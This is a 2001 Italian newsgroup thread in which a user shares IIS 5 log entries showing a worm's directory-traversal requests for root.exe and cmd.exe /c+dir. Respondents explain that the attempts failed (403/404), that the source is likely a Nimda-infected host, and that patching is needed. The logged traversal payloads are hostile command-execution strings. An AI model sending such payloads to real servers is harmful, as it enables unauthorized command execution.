Newsgroup: it.comp.sicurezza.windows
Titolo: Piccolo aiuto, se possibile

Ho trovato queste info nel log di IIS 5: cosa significa: che hanno tentato
di accedere con root.exe ?
Devo preoccuparmi ?
Grazie per una risposta
Ciao a Tutti
Alby
2001-12-30 08:18:32 61.74.62.33 - 192.168.100.2 80 GET /scripts/root.exe
/c+dir 403 -
2001-12-30 08:18:32 61.74.62.33 - 192.168.100.2 80 GET /MSADC/root.exe
/c+dir 403 -
2001-12-30 08:18:34 61.74.62.33 - 192.168.100.2 80 GET
/c/winnt/system32/cmd.exe /c+dir 404 -
2001-12-30 08:18:34 61.74.62.33 - 192.168.100.2 80 GET
/d/winnt/system32/cmd.exe /c+dir 404 -
2001-12-30 08:18:35 61.74.62.33 - 192.168.100.2 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 403 -
2001-12-30 08:18:35 61.74.62.33 - 192.168.100.2 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2001-12-30 08:18:36 61.74.62.33 - 192.168.100.2 80 GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
2001-12-30 08:18:36 61.74.62.33 - 192.168.100.2 80 GET
/msadc/..%5c../..%5c../..%5c/..ﾁ ../..ﾁ ../..ﾁ ../winnt/system32/cmd.exe
/c+dir 403 -
2001-12-30 08:18:38 61.74.62.33 - 192.168.100.2 80 GET
/scripts/..ﾁ ../winnt/system32/cmd.exe /c+dir 403 -
2001-12-30 08:18:38 61.74.62.33 - 192.168.100.2 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 403 -
2001-12-30 08:18:39 61.74.62.33 - 192.168.100.2 80 GET
/winnt/system32/cmd.exe /c+dir 404 -
2001-12-30 08:18:39 61.74.62.33 - 192.168.100.2 80 GET
/winnt/system32/cmd.exe /c+dir 404 -
2001-12-30 08:18:40 61.74.62.33 - 192.168.100.2 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 403 -
2001-12-30 08:18:40 61.74.62.33 - 192.168.100.2 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 403 -
2001-12-30 08:18:41 61.74.62.33 - 192.168.100.2 80 GET
/scripts/..%5c../winnt/system32/cmd.exe /c+dir 403 -
2001-12-30 08:18:41 61.74.62.33 - 192.168.100.2 80 GET
/scripts/..%2f../winnt/system32/cmd.exe /c+dir 403 -

Alby wrote:

Credo di si. Hanno utilizzato un vecchio bug di IIS, ma da come vedo senza 
risultati.
Cmq, tieni sempre aggiornato il WebServer, mi raccomando.
saluti

 saluti
Approfitto della Tua gentilezza.
Da cosa capisco che il risultato č negativo ?
Uno degli Ip che il log di IIS appartiene ad una azienda : posso contattarla
per avvisarla in qualche maniera che ce sappiamo e che non "vogliamo essere
disturbati" per cosě dire ?


Alby wrote:

Il risultato lo si capisce dai 403 e 404 alla fine della riga.
Sono i messaggi di errore delle pagine html che vengono restituiti quando 
non trovano niente sul server.
Non farlo ancora, se insistono allora li avvisi.


Grazie davvero !!
Dove posso trovare i più tipici messaggi di errore di cui parli (e che vedo
nei log) in modo da capire se, eventualmente è riuscito o meno a fare
qualche cosa ?
Ciao a Tutti
Alby

Alby wrote:

Vedi tra le conf di IIS. Ci sono tutte!


Perdonami l'ignoranza: cosa sono le "conf" di IIS ?
Grazie
Ciao a Tutti
Alby


io mi farei sentire, prima che demoliscano il server

disturbati" per così dire ?
Probabilmente, sono infetti e non lo sanno.
Leonardo

Ho stoppato IIS anche perchè, francamente, era aperto solo per OWA del
quale, per il momento, posso fare a meno.
Ritenete possa aver chiuso con questi "monellacci" :-) oppure meglio
chiudere proprio qualunque accesso sulla porta 80 anche se demoni, in
teoria, non ce ne sono più ?




Io no, al massimo li avvertirei che hanno un server infetto da Nimda
-- 
HappyCactus - Registered Linux User #209744
Cannot delete files, disk full. Try to delete some file.


Scusami, mi ero perso questo particolare: Nimda ha i "sintomi" che ho
esposto nel messaggio a capo del thread ?
Ciao a Tutti Alby